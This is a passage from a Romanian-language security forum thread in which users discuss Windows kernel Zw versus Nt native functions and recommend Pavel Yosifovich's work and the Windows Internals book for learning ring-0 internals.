KernelMode (0) and then invokes the native function. For example, calling ZwCreateFile sets the previous caller to kernelMode and then calls NtCreateFile, causing NtCreateFile to bypass some security and buffer checks that would otherwise be performed. The bottom line is, that kernel drivers should call the Zw functions unless there is a compelling reason to do otherwise." 1 Quote
Nytro Posted January 25, 2021 Author Report Posted January 25, 2021 Da, recomand orice face Pavel Yosifovich. Si desigur, cartea Windows Internal 7. Desi nu e orientat pe security, pentru cei care vor sa invete lucruri in zona aceasta, e obligatoriu sa stii cum "merg" lucrurile prin ring0. 1 Quote
gigiRoman Posted January 25, 2021 Report Posted January 25, 2021 13 minutes ago, Nytro said: Desi nu e orientat pe security E tatal lor. Apropos de ce ziceai mai sus, tare asta cu callurile din c# ca sunt setate ca insecure cand vin din user space. Nu prea gasesti informatia asta in multe locuri. Quote